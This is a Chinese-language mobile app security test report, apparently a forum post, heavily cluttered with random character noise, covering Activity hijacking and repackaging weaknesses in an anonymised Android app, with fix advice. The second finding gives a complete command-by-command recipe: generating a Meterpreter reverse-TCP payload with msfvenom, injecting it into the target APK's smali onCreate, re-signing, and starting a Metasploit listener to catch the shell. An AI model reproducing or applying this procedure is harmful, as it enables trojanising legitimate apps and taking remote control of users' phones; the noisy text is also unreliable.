) d* u8 B8 ~/ T) F( r6 z$ t( P5 z6 K 9 Z ?0 f" Y' Z; E7 a* T

7 n$ T& } a1 M 3 ]' p' D c2 G; `9 h   / x2 U; d6 u5 D( B8 q 8 {8 `; Z. j0 Q0 F9 P. W4 M& E

# a2 h& U2 J( s' ?# P4 T2 D8 Z 1 m3 R4 \& B( g% C; [$ V1 k" O

- q% p, i7 n, l0 _' p& n8 K1 p0 A' N/ r/ b8 `) N 2 检测结果                    5 G' ]' c @0 {% v. J, X' @& }) }5 d0 y& B

# |. D/ K: Q' A8 ^( ]' T$ X% x* i ( O3 ?- K. ?- P d* [$ z5 V. o6 }

5 S- u2 D% y! C# {/ C. H * ^& Z0 ^2 F; h1 M( ^6 j! g 2.1 某某某 " d/ e1 _5 k8 R i) { ! }9 [2 b, P4 k

* Y" y! F g) m% N$ ?3 W: K1 n0 g J& V

3 D, m% S+ M" b; M . h6 v4 D, I& A/ h \7 u) D 2.1.1检测目标 % C; r" _' U$ l+ Z9 U) d! w ( `; M5 Y6 e2 H& V

, l1 m5 K5 x/ t2 Y' M* R7 R 3 u- L# V/ q6 B/ c6 |

8 a6 m$ E4 R2 \ - g' u' u# x. E/ H 目标地址: 某某某某某某APP " a+ |% r2 ~. W' y( _% h; Y( i- @- G

8 h2 S, c/ F: ^ 6 Z1 H% f; c" [, n, T4 ]2 N# z( H

$ `8 x( ^5 `+ u& Y8 _" R 6 H+ P1 Z; u2 O+ t# [2 j* M3 X 2.1.2检测结果 ; u% `: G' P' O1 R( c ) ~# U* b7 T6 C1 q, H

7 @( ?' [; k0 F& b7 L0 d$ E 7 @1 F! v6 ?- D) G% o

: l5 [2 `& W2 f3 o/ r' U6 l1 o- K( n# g0 y1 o, ?/ J" ~( e 2.1.2.1 , H) p% T2 ?# Z6 Y7 ]! ]$ f 8 ?$ e$ t9 J$ y9 y

: Y X: F# K* H7 c% _' m. A4 X I S - p9 J3 H) m8 J8 S

3 ]: @! E$ |9 W 0 c9 `/ k0 W: E" N) w! R 漏洞链接地址:某某某某某某APP " d; [7 j4 C# H; [3 @ $ h8 I5 U* ^: C6 Y

$ X; [) C( w& ]9 C7 V$ S9 n( J ^9 X/ ]; F7 |

' O: l6 w- o, \! K4 R- O4 A6 z ) \3 ~* t- a: s% X+ Z! v# ?* `. F+ i7 Z   0 I4 o/ x# n9 F: \- n ( c+ S' v1 [3 E$ K

: @3 j/ q& a; @: ^7 { ' y% n/ A- A* R

3 @4 \: Y( r: L+ y8 V" @/ n+ X+ s0 _; }) O; J! J 漏洞分析及取证: 2 k9 ~0 M4 ~# }; z+ e) L / H F5 E0 J9 k0 s) b6 X, k# E, K1 y; T

6 _: Q: F. O3 o7 W+ c- f9 j2 c* r8 O9 t" [

, o$ v5 y( I" k. U0 a ! @6 L+ U& R8 M! i9 s                  通过androidkiiler反编译,发现app未进行安全加固, Activity com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: ( @# s$ I! P( Q/ k & X3 r: K% y& e" K: |: E

% ^% k: W; u! }7 U- D , @- D7 I1 @- o

4 f5 e7 x5 C( J$ u9 q( C6 _% I/ e9 q: l" }; T      3 T3 J1 z/ Z$ w+ F O( q# n6 h# e: g% t( t1 u- E: g( T: K

; ~5 ?. x2 s) t! h' @ 3 G4 k( l w5 {& }' Z! b |

$ Y/ M" F7 y2 n' @; Z - h+ }. _% }; v( e) y/ ?                       d6 ^/ ?: p; Y+ l ' Y: o9 F% N' i/ g

! X/ K9 q$ R7 @+ Y ! [, L* @/ j" F- o$ M8 L

, G9 x2 p8 U# _0 q0 ]5 [ 2 w4 _/ m5 ]" g+ ]$ |7 W. d , S$ a* W* k; E$ s/ i( e H $ p/ r8 l9 _% Q- }

* ?& a1 r& A2 H; g0 G7 r. f6 P3 Z; h ; K% C, |" m. K3 C0 Q* r3 L

( i' R; V& V. ^$ s$ t 1 h' x4 J5 {5 t9 D 0 ?. U* y9 P% U$ e& I) o 0 A# f8 e# `. @- b

' X5 ~ f. Q7 o' c: @& z 0 N4 @- R$ u/ |5 R" i2 i

" Q! g$ [ c0 X2 c 8 K3 k! d3 V0 _* E/ V8 ` 1 y6 H1 N+ V) Q A& ` 6 Y( _# D% w2 c& P9 A( h6 r! s

2 v# V3 u# t+ G0 L) K" \ & z& E6 V" A3 ?6 F7 b3 n" R

" o/ e* R* R1 U b; P 4 t* S5 p+ s/ |& I9 K# r% x 漏洞危害:高 * v% c# J( e2 e7 F) B! G$ q" M' v 3 e5 G3 b- D" r' c6 k) R8 N- M* b

0 L P7 e# U, r4 b+ n* r( q! v" n9 w+ ~( o5 T) H3 R# ^
2 c0 J% g8 Y/ K& w- Y ! E' I" ?6 Z/ C; H% x 2 X: X! r/ ?) Y% _2 e/ y9 e( r/ P- q/ P: w& f3 J5 }" w% W% V4 t# Y/ i& I7 B: T: S2 `6 g4 `" J# p2 T5 X: H- m8 z, ?, s& v* a7 ~: c$ U. X3 X! q1 r. k5 I9 P$ J/ G% H; c; z7 U& ~) J3 W$ W/ h% F1 D$ h' ?; M$ E& M& e8 M* H/ ?& c7 A/ ]0 v5 [ p1 C; I5 @' ?- E0 Y3 q, g5 u) f" o& |- z6 @7 A' @+ ~7 f# g: ]% X, @: b. n$ U2 `) K$ n: A7 ?2 B; s0 x/ g6 V8 O$ x3 n p2 w) t3 o, p6 A% C1 s6 X4 |! c. Y/ y" c2 O0 G& A& c1 G5 ^9 K+ H# R4 c K. k4 z3 V v% f# k- z1 M8 T% }9 ~; u2 _; V0 f+ I9 h1 L4 e- S4 @# c2 q d# D" z% B+ m% Q* {% u- w! O& B' F' U) v0 w6 S$ s0 `
3 f }* S1 t6 @- C5 G - B/ T4 f/ q" {3 E7 w

6 V3 ^' q ? Z# b. t3 \! c% o: M9 a1 G/ U9 |, C( v 严重程度 7 m Y4 D8 ?6 |1 I8 i# y% X" _- R8 u* R* h5 o6 X5 v. f/ ~* a$ Y! V

6 G% ~$ G7 J2 l# Y0 O( v$ J& B& j; f0 B
; U# g6 [; ?% ?9 P( F+ S( O: f. M) a

( _- _9 a, ` n3 t$ z7 T0 {% [ ; q# k" P/ T) g( n" u# e 0 j# k6 V2 x5 m( I$ c% l: c4 r( G6 A# M9 c& T5 Y- [

! r5 d7 s) X, k+ s ! q5 e$ w4 r- g+ R1 j; r7 A
( v$ e) H) ^# t5 M4 Z( I6 [0 j. k ' i I% s* S6 i& d" I6 m1 r5 v

1 v! o& Q9 t* o R0 c & V/ c' Z& {2 A 1 H! B5 [3 {- v6 g& p 7 D7 _4 {' o" R

. A" d: ^! G& F 0 S2 G! Q$ F3 u% a2 c: a
9 p. b x6 c" S; y d; z3 y & J( I, g: W. `, v$ R* f- O4 E

& A8 E8 e& F- C0 w( t& D/ w % w: T6 r/ ?2 @$ F; R4 t; C ( X' b8 w1 R' x7 _' ]1 f9 X8 n & b5 l' E S' D

% x- k9 [0 Z# ^2 _- D7 R+ a $ k6 r7 Q2 m/ T! ^; a3 V- d
! s; r8 o/ U: m( c0 s 7 { q5 r& v0 o4 x" J: V' P

# ^1 h% T8 W- r# O2 S. I* C$ b4 q8 B   3 [* R6 n' v2 y) i2 n3 B. c; V ( D6 R i6 x$ o+ x8 V

. N0 f! r" H# V- _ - @! Y: N* K5 T' D1 O
) y' p' p1 a8 D' W' j( g3 ?* o) E! z( E

# y! e# p. A0 F9 x, { - {3 B: f d% |) |0 q # `# g* Z4 A+ J2 e5 W5 o* u ~ ; i# g, y7 [" Z5 K/ k' ]- J$ M+ \

2 X/ {. `* A8 R1 L 2 P' ^8 e5 ` _! u" B6 n: @6 ]2 y- _
6 u9 B' @- W8 s' R% K7 p" _& ^0 H9 u& A {& D

2 h, T! Z* W" j( V, g $ ?4 Y8 V% d* @   / ]6 t6 z8 l+ U5 K" |5 v8 C0 t0 P : h" ~/ e& @9 U% Y3 @; l3 B* H. R2 Z

" h, Z7 j5 J' z. A! f$ H" [$ _ 6 }6 n8 F- A Y3 K; v
2 c8 K8 D8 l. L9 R: H8 a7 T . p1 j& m1 R6 R1 N# ]5 k
3 p3 `8 [! P* F0 E2 U5 g' v- c ) {: L( \1 z2 U8 v [$ l% m ^

U& y6 i+ x G: _7 j+ l: d9 d ! p$ |/ w' P# J+ O/ R+ v! C( s   6 W3 ]4 b- W- _0 r5 j: q: e6 U5 S( V! h- q

+ I& C0 A* y7 U% m) c. ] J* k- }6 S0 y+ R# _3 w

3 s+ V9 r5 _8 x4 d, ` K u 5 S' M: D- z% z: A; U* g 修复方法:在 APP Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 & F- o7 j' @3 q 5 F' e- u; }4 K- P5 J1 F

9 o4 E, B/ I% ` m& q- V7 F1 G6 d) q9 M' t

3 ^+ p7 ^0 s$ z, ^: T3 r 0 C4 z7 V! l! ~6 S! ?           ' n( o k3 x8 L* ? 9 q5 Y5 P q7 b* ^! g+ ~8 z

# [7 {# ]. t- T5 T a( J 6 l4 N7 Z2 E" d7 F2 D0 ?

) I- X$ m! ^2 ~- P. P2 @ & _8 ~: N" \$ g: a4 H   : S$ \, x% A/ g1 w8 @/ x" M ~# P9 F9 ~! v5 R1 d" J

/ w6 ~" b9 ^9 P 1 _+ S- L, B8 Y2 O

7 B2 ]4 i2 l' N3 K* e3 u8 F# x! h4 l2 T 2.1.2.2 ) E7 e. V5 U2 a2 g 5 Y! O/ T. d' C" q/ l5 w" v/ O- {

- b3 [, K' U1 x) C6 A . p/ p! Z4 _; I+ \: ^! O

# u$ R4 b4 s* P5 ^ 1 C: |' a. P8 [( c: v 漏洞链接地址:某某某某某某APP 3 |" T. X/ @- M' _3 {+ o 7 x# ~; Q8 T! N. b1 E$ f& I$ e3 H

- {% l+ B) }; \ + J* K c3 X+ R7 l, I/ x

& j v. g, o# H f 4 x2 k7 @# m7 U: ?& j 漏洞分析及取证: . |) C k; `0 Z1 E& v y8 o0 W ! ~( w& D* u' Q8 F) h) f& S

& F: K& i8 b/ o {% @+ B$ Y : E# o) C; v# [

& B/ ?* S4 d; E5 J: w* J( B" ]7 X( [4 I# P/ G) ^4 a# I [                  通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: 6 V) y( l" P$ B2 v! N+ }0 |! G; i2 m* ]4 l; `3 n6 D# {, O

3 U% K8 c7 g( Q& p 8 B* a4 w6 k7 s- F

9 G# c! l! }2 G. s9 J 7 B1 x6 q, M; K Metasploit 生成木马 apk ' }1 I8 x: J. T6 ?! _, ? 7 M5 A) v. Q. l# a2 D, v5 `2 y

: K8 J- ~; g$ k( x7 A0 o # w( L% t' e3 z* f2 z3 e

8 c% e9 N: n3 U# M2 M * m' B) T8 N, Y6 g# [5 q/ P5 e msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk ; }) }9 c# N- L$ R; Y4 }6 I. C' h/ B" A" D4 R2 v8 Z4 o

1 j: T! z1 L# B; h- y @ % Z2 D& j& s7 } Y7 \2 w4 i

9 ^( N/ |, o. h8 N: O; z" v- x- z7 {6 n 8 {- J" l; \1 j; L' u, l 反编译目标apk和木马apk ) A; L# O4 q2 [, b- g4 E 8 _! a- J) ?% |% I5 t/ g8 M

" d# Q W: W& t9 l$ O: |; a4 V! c/ u / G' M+ `. d- n, T

5 F( S& S- K; }6 p n/ s3 R% K0 F7 L apktool d target.apk
- C& d9 y( A4 q9 ? # V3 c6 l6 s( G( o apktool d cockhorse.apk
6 l ^) r) ?5 Y* B8 }! w* z7 y# y* j9 A5 c4 g

( R' u4 u& ]* r+ \( S , F6 V2 l5 {* k/ ~

* e* Z4 n' U7 J4 _/ X& z * [5 k5 p" N$ a% p9 k# C! u 木马 apk 注入目标 apk 3 Q! U- v5 Q- q3 v Z! @ : p. H# A1 y& I/ h% } P8 z0 T

7 T0 O% S. Z9 e, Q: t# a$ ~0 y ) V$ p$ l. l* a4 F

' l) R- A6 F0 V! n% { $ F3 ]+ F" z2 ~ I6 t# u 在目标 apk 反编译生成的文件中找到启动 Activity smali 文件,并在 onCreate()方法中添加如下代码:
/ Y9 p) i7 h* k4 `; o5 f ! {; C2 \! {0 n& M0 a2 V invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
# x' \3 g3 W/ H0 p5 B H W0 G) z: g8 P- }- L

( j% Q9 x3 R; r8 b 1 h# @* ?$ w+ A8 ~+ y2 X

* f" M" \1 ~9 ] W8 C6 ?3 P0 C % r9 `/ K. F- {7 t 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 2 E( W" z; N" F, V! H: ]2 M 3 j7 e1 u0 [ V% W$ B

m% v1 {8 k4 o* k. R3 `' e ! s) u" {; w+ I* H0 p( }: ^" d

$ p- L9 |5 x! D" I. `, a" c5 \4 s! V 7 l5 q6 @# K$ W" Z" A2 h9 @! r! z; p 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 8 s' v( O; C5 V8 p( Y8 m. C % v4 Q% l9 a% e# a

* y8 G g# `! L: S% {3 j' x, q 5 N% I* u C# G( x, e$ y; {

8 V& d7 r" p4 }' s1 s4 f* t6 X0 M: [( Z! a8 B. D5 n$ T 回编译生成最终 apk : n, |9 ?$ S( \ * k: n3 t( D4 X# h2 s

& u# A: {3 f6 f! S8 P2 W6 G 0 z! n1 r& Q4 ]( j& r6 w* n

. ^1 i2 e) T+ ]: F* S2 `1 {+ \4 k' _ Y/ S4 Y7 X. ?6 Z 重新打包 6 E2 i9 F8 s& p! ] % Q3 J; c: j% x

8 x) r' M. W+ F8 N' _ ) v9 b4 _- l1 P" O0 p$ d% t

, n2 S( y5 ~% V1 V. u1 y4 M$ ]$ ?4 C3 g# f; d- v; U1 W apktool b -o repackage.apk target_app_floder ( S, A, q: g' v D" L; o8 \! U/ F8 [( c+ N" Y# W; d

" O4 W# N& `, Y) e8 v w4 h: [2 \8 d # g% U! u! A4 T' f2 {" V

C) d% w. G9 H: D- A4 Q . i1 `* ^- i, ~ 创建签名文件,有的话可忽略此步骤 ' _ ^4 S- x1 S" m 2 _7 ]- o3 K0 y

. ]( \0 C* r. i) B, b3 a6 r & C, \# G [: |+ p9 v

) u+ f8 E( _* ~1 u: U8 j) M' @ X. y keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                # `1 n/ Y( [, F/ A / `6 O; H* \2 V6 l- h) A% g( L

+ C1 v# e) p3 \/ O! }4 G ~& v+ O8 B2 N6 M; I' G

3 X! E) q B2 w6 N3 J2 H, n# U 3 C" E0 ?9 @ L& S% f) A 签名,以下任选其一 b; p- y( Q3 o# T8 P6 ` : o; i G6 J$ A; |

* Z/ }# M. J6 ~ ) [: O J- L0 c5 `4 W' C

% Z5 g2 X2 J7 S# ~' p2 W& X$ @- H& w5 ]/ _6 X9 h3 X4 c6 K jarsigner 方式 * W9 U2 }2 L+ w 3 @* ^% i# I; ?, J

. q0 G# y( A4 B4 O* c - h# x$ k- a4 l; d$ n

% t- W3 y$ I: ]) G* Y8 A8 P/ M " d8 K; q, ^. H jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 8 T, S3 ]/ d0 \* s. R 3 u3 Z9 I2 Q/ v, K1 o# F$ j2 ?, K1 S

" s( \7 B/ t9 u0 p; X 8 C- P: L# z& x: }; o, z1 @; c

) |, `% t3 i! C. s" f, ?2 q) T0 ~ apksigner 方式 ! p7 B- B/ ~4 y " p n% n9 ^" U" P8 }9 T

+ t4 k9 k. \' ^9 \9 m' O 8 `2 M' q/ C4 D

" T- a( @# E# t& ]8 a* R$ L + p1 V% J! ~! j3 O apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 7 q! h& M! H! H ( T2 g1 M m7 G5 Q

1 J Z* O, q' N2 C6 y " f: B/ j5 e, C" o0 S+ ^

4 R$ u- K3 O( P' Z2 _ 7 U, X0 Y$ z5 B' q, H. b% | f* S 如需要禁用 v2签名 添加选项--v2-signing-enabled false / M' [! b% I% s: T% w7 e7 y # G+ y9 W/ |) @/ K, |3 j

) C/ ^+ u0 l/ L/ o% d. Y* M/ P Y, P- i8 @1 ^2 s" b

! H+ O7 ^) P+ M1 u6 C 9 I, F1 v# O' P' P. V: n 验证,以下任选其一 8 R' h9 Q" _& ]) j0 _! | " p. V$ ]9 d, [2 V

$ x& e/ q1 z* w+ {! i+ E5 ?% C 9 D- [ \' T- F* ^: O) P

: z- P6 E* X& t2 N/ |6 c + i, a4 _5 {! `$ F jarsigner方式 6 d7 H/ A! K# |% b 7 ^- m% U+ B* P0 b

. F: Q& f& C' w7 s. D' X: I 1 ?% f5 I5 K1 [# y2 F. O1 j

, }# V9 W& R# ^9 h2 { * r- A) z( ]9 Z$ W: i! y& Y& r jarsigner -verify repackaged.apk : O, [4 W9 D: j+ d7 z E# ?9 ^9 s- Z- O7 j

/ A/ B& K# `3 Z0 K. e2 o$ S" I % \$ `# I; E! F4 B

( \' \1 A# z: y% X" n* V " |; v& v {5 l7 u7 k* l" J apksigner 方式 ! r- d/ E* t# {4 { ( Y: u9 m8 [, s2 a: G& S

% ?- |4 V7 W* B7 J) n! ~ 2 O* \! Z) G4 X

6 i) y3 S5 k% U0 w8 h* C! C8 t, O" u; U3 ~, [ apksigner verify -v --print-certs repackaged.apk 2 B4 v) B' }7 ^: e8 j6 P# r ' B% Y! o: j+ i; x0 y

, k" y' Z Q) @7 I2 \/ Z& n @4 }7 j; D+ K& q. `$ ~4 L4 j7 F

$ A" g$ }1 z% m, G+ [9 n 2 g1 K' j9 J. E: Z keytool方式 / ^0 h0 {; n" Q1 M5 v 9 z4 S, ^9 ]' N

- C C6 A2 ]% F; M( T, }( q @0 |0 Q1 g" }. W% |" I0 q! D( L7 y

; `6 u, M# n8 S( G- D8 f) p ) ?: D0 r5 {2 y) E, A9 k9 w4 e keytool -printcert -jarfile repackaged.apk 0 I0 \& l; E3 I% C4 @) @: \ 4 q( O3 p- z$ y" d& j, i6 t5 T

! V7 j0 @+ L) I) [- P7 C. s6 V/ Q2 R6 K7 I S: p& d4 [

0 i1 E9 g/ H! ^* L! f2 s. d# j, q- V* O6 t6 p 对齐 ) K7 D* c+ }0 _: K9 X% s& A+ b2 L/ Q1 F$ ^" I; d0 y0 w

$ ?6 G* ^; }( g4 j1 ^4 V + H6 T3 y o( h9 t2 C8 v3 j

* u+ K3 D( v9 A* ` 9 Q- I# J5 ^5 u 字节对齐优化 ' ?8 G9 I0 d+ V2 Y2 S& c1 M s2 x2 M

( x4 r/ e3 ~5 \( F4 r/ N& } \ , o( R% r, ^9 v" R/ o

3 D3 I" n3 ]3 O: R1 ]( m+ _% V0 K# M; f$ N2 ^ zipalign -v 4 repackaged.apk final.apk / L' Z0 \' v0 h5 U+ S# ~4 Q ' t# H) A- U/ _) w- L( ]8 o) p

" O: ] u6 o; F: `3 C2 u + U+ q5 j5 f% @1 o+ { l

4 |; ]; N( ^/ o' o( K# [ 0 u" I R% T$ n ]1 F 检查是否对齐 8 q2 t& Q$ p' V3 f/ a a+ H" M9 A3 ~6 P5 i1 ]$ V5 C) `7 N$ V

% A: I1 n' e7 `1 g- j' x; B( G! T

( Z2 G, G3 ?* d+ Y4 E! f, K " C/ q9 N8 d. u2 ?8 ?7 i zipalign -c -v 4 final.apk ' g8 w; K' d1 z0 `3 E , w" N- W3 V# s: N

6 e' |8 E% f# M) z2 j0 H& z8 B ( n: Z$ W* H: o$ N8 ^! J

6 q) R* r ~ `# c+ F 8 L3 z3 m- h- G9 ^+ Z& T 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 . V* j, z. Q; z- z2 `; A- y ' S! q1 q2 \7 R4 e# C- l

' f; ]; U; y9 J& W1 t$ z( |- u ! \! z4 J; y e

2 M: u" |; D- @# @6 H 0 N, T' N8 |& `% ]. ]1 P+ a' F 启动Metasploit控制台,配置参数等待上线 ' f. c: K* k/ c& @( G" O" y4 x- ~1 `) {

6 A) w1 t7 _" O! s6 E% N4 R3 \, f: s( k4 S/ A f

2 s+ {4 j& e8 |) q l0 Y- @7 Y. y* N- k3 I8 @ t0 B: R4 o `+ u 在终端依次输入如下命令 4 V2 h: H4 N- u4 o8 c 6 [1 u( A; {& m1 a( a

6 }0 T$ C* ?, m6 z- w R! @9 j% S2 L9 Q2 }

7 ~& @3 {: D+ R( U; X6 z1 Q % s4 U3 K% o* V# q6 g) o msfconsole + e$ `# Q" H' q/ S2 o4 r! _5 ]) J0 P6 c- S8 a: Q3 T

( K$ P. k* r9 f" g' }6 [0 t; b L z; f- ], s) R! E: C; \, g

, b# o$ y* d* @0 G# H* Y" a0 X, L; n' A 9 g7 D5 V: d) H6 y' W/ a use exploit/multi/handler 1 R W' q, k( l) O) u) w! i7 B1 n2 `4 n

$ y& ]/ s4 z$ C' ]* G, B5 t" |: H2 j

1 J# I2 X3 x3 j2 @8 v# s# o 8 U3 B2 h8 j8 L4 t) @9 p set PAYLOAD android/meterpreter/reverse_tcp - ]: L3 N' D6 H: U 1 r$ U: S2 @! U& |" L- c

- c F$ B8 c( g1 ?3 D0 q ( e" m7 n9 ]! {

5 c9 c& q- d( ~' L ! i/ C1 B8 C4 L; a* P( P* ] set LHOST 192.xxx.xx.xx 7 [( I6 s2 T: a1 A3 r7 X2 U$ Z; z4 E. o$ b# U: @3 }4 z4 n

' L3 ? |, u0 `, n5 [- o 8 E+ r( w2 ^$ g& b$ P7 M; N/ b

1 T' K* @% C% P( V . Q- S8 e- a0 i+ B: v; e4 k set LPORT 4444 ( P' F7 [ N( y; x9 y + L; @( S' u$ s- k& w w; `

' S# n2 [4 A2 Z1 L + X3 S$ G/ f/ J3 q! I* ^0 j

- O3 G V( S) p& j+ P' o3 H6 Q# v& o$ g6 [* o0 ^/ c) Q- A) y exploit ! a, m: U3 U7 ]' D+ \8 ^4 @1 e% I9 ]3 F- m* P& k( C" r" ~

) a, P0 q- w. M6 t9 Y7 ?# `$ P/ X$ S* h8 S {+ t, V1 A3 w, P

9 M6 a$ I& t1 e6 @% u W# R9 N, f 9 _% Z' t7 |! r; w. C# M$ \ 之前我们把入口放在 MainActivity onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:               % P- c# J# Q9 G; t 4 B( U3 x+ i. F. Z: [

m, b# u; m+ r' E3 h/ X- w 6 v3 S5 [, V- R" F$ o L& ]

) B c8 |* {2 D X7 A% @/ `3 D7 N ; @3 P* L- C5 _! J0 X6 w$ L 漏洞危害:中 5 y0 d+ { U5 x7 ~: \3 [, }" t 5 _1 e1 I! r+ L; H4 V; `% l' u

7 t- ^3 q* L0 r: }( u 7 T( P# ], x2 F0 Y2 O$ q
\6 y. _. T, z# V% h - q$ B( l! }/ w; R- a' [ # m% k9 m" H2 X 3 v/ d0 m, D/ t% B! C% ~ 1 o9 u; x, x, R9 \/ S' H) j% ], X. d7 w( H1 I* L# G& K& q3 k; Y6 i/ A$ W4 v* c7 P8 V, E/ u; a1 ?& q9 R+ O7 ]3 T; _/ g; y$ r+ y* _; o% j1 v, ~7 }) X+ P3 p) K0 I# n7 `8 }' v! ]0 T4 G2 d3 J5 E( |2 r% i+ A: C" K2 K5 E6 O- b1 Q4 i1 x( P! E, Z; z" v$ N' G4 R2 b" g, A- _ D( e) ?; f% {, L/ \- n5 Q" p" A e1 e' A/ Z% @* W3 H7 U8 ^0 }; J! @3 C% G% C& o( v( Y6 N1 x7 y7 r1 i* G8 Z0 k( v% X, F7 l% |; M1 w% T1 a5 d- L" {5 X- i |( V$ v6 i0 i4 A7 H4 F& w' B& w) m' U) D' H+ B1 L7 p3 W" u" t9 Q- f5 M6 {2 t0 E4 @% I( y5 G* p1 P! l: V3 {: Q! S4 E/ {" H+ c4 _( v8 i' z
( |7 M/ ]) [6 D 2 D; |2 [% n4 N4 _8 v

# R- q8 t+ e3 }2 F) @6 m* W+ G% G( D, b) d1 _6 H: Z6 ? 严重程度 1 ~% H0 H: @, D $ w4 U% b; L* Y

m" K) h; n) W+ \( G2 \- e ' s0 t; ]' l/ l. \
3 C2 M% v% x. A: [, l- c6 V9 [, S+ V+ z, {2 X

% z6 [; Z5 c3 b6 ^- O' d , `6 b# ^& W! }" E: Q / T, u: I6 s1 \+ C; N 1 D; R( X( p% |! d! ?0 J' K- q

0 X5 C; B& R# S. h# O 1 t5 g9 f; v- d) O( D( s
0 V6 \: m {# d* Q# P 6 J; f; d" j! Q

( x- D# z7 o9 ~! {# ~9 N, u . F8 N' y) W/ y! u1 X6 U7 j & b5 z7 W% v8 E2 K7 e* v! v7 `& b9 I; b& e, S4 q z

3 q# q- q& Y" Y ?) u1 W' u9 a& B) W# r4 R9 ]2 w
I. d& o8 R& K: n- _9 L' M, T1 c : ?$ K2 d$ l& J, X: @ F

% @9 W: U. @( K0 [( M ) D3 Q# f. }! p0 H% w# Q 1 B& L% J( j- s8 }# X! \, a* |5 o: n/ e5 a; ] O, Y% P

3 {! @8 L1 n* L, j' A % c* R- Q/ t& ]. O! [
2 K7 B+ P# O0 A7 K' D7 N2 z( T " w" O5 ]$ o" e a+ i, D* v1 |# B ( H/ R% D% e$ C" u/ x# T' r) b& A( \; i- ?( z+ ^

7 f3 q% J3 J' g) A K : y. @% @4 W5 Z7 |   * ]# Z. o" i ?! Z7 Q8 a, Y; v Z+ ~5 W# N* S/ s

3 ]# ]$ I( F3 c2 ~4 Y : h) J M* C* `9 N
" c: b# h& T- j' s * u' m- o+ s7 @4 w- R) w. I% s" t

5 w! x; L. F% T$ H8 b! |2 \ / w1 H. Q' u4 w, A + d. c7 m- k, V- s/ T5 V% i" ?1 |. j 9 T' [1 ]8 J8 O; O, N O

$ [3 w4 j4 @$ t( E! c$ X 3 `' z6 x! P5 A: m0 a2 k/ U6 m
6 i; Y! L& h8 p* d7 r: J0 s( r1 z7 v. Y- @) L) k- r1 z 7 T7 P0 W; y: E9 S, V9 \6 Q: b ) q! z" L# @7 q2 c+ s4 T4 ]0 [$ m

) l5 z/ f6 k* {1 E! T% v" `. A% e' f1 h% D# ?! B   4 |3 X& m4 a( v! Z T, L6 C; \+ h 4 c5 y0 z! T4 d, x X2 G

4 [. G& e9 K3 d4 ] , F/ c- ~1 A( T8 X& J/ u
8 A% e9 s% n8 D& ]; R6 [* ^ 1 v2 T1 p+ k3 N. o! U9 z' h
+ l& n% @' {: ], q / O' s; V$ N& Y1 j2 j1 U

8 C, U; N( E) b( @8 d. R& E7 g- q" k9 U( U U( t   0 ~. c6 l1 k. f; Z, a! H; G 4 C _) a6 T- m6 |2 J. S0 z7 j- G

. t5 G, ^" K' ^ % @4 h. L" @' R X9 v$ {

- Q T7 v6 E7 {3 |9 d9 {5 u4 J1 u# I, G! ]( k# s 修复方法: ! Q, }( O" ]) m, ?1 V, ? # H! }( ^. p$ n+ _) w1 j& }- n

. a6 M) w' h, \+ R: J 3 b6 M0 L( v- B: _ C5 c

2 U9 K4 Y+ E$ i3 I- w4 @, h) r4 a$ m: t& N, W/ q4 f5 L) y* C. c               1. APP 启动时应做签名校验防止二次打包。
% q, ?+ o; G4 H 4 _( B& v! ^ [2 e0 `; T/ m. T. R+ k 2.
建议采用客户端、通信和服务器端联动防御方案进行安全防御。 . n, @& f2 N; ^" b& [( f- l7 m! f; s* a. J8 @& q7 @+ O

" X6 J# ~' \0 \7 v+ R1 ]2 u4 ]8 {) Q7 T) \7 ]1 v . j. r4 E# k3 y# y0 O ' U' B' K7 [% o' n4 d: c9 K; A0 f @

8 K# I3 k9 z/ z% b: @ 2 V# G& ~. m& t/ W' J; O8 [   , P/ ?: C' D8 L / N4 |* x% n: Z6 w, a

7 P9 A' F- {( P- @ F$ F) c# M4 {$ j" I9 Q / N9 a) A0 O, E4 w( z) \6 m0 |* a4 ] % Z7 \, a" O: v- M+ y

3 P2 D: _: a8 |1 k7 c' O - t% L* {" C% P/ u1 U0 g
* W3 f; f& V/ u6 a- K$ J, `& T + Q) a, X8 [9 C* f. m3 W' |

+ m7 M1 G) Q8 H( h 7 ]6 L$ Q0 V1 J8 \% @' @, l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表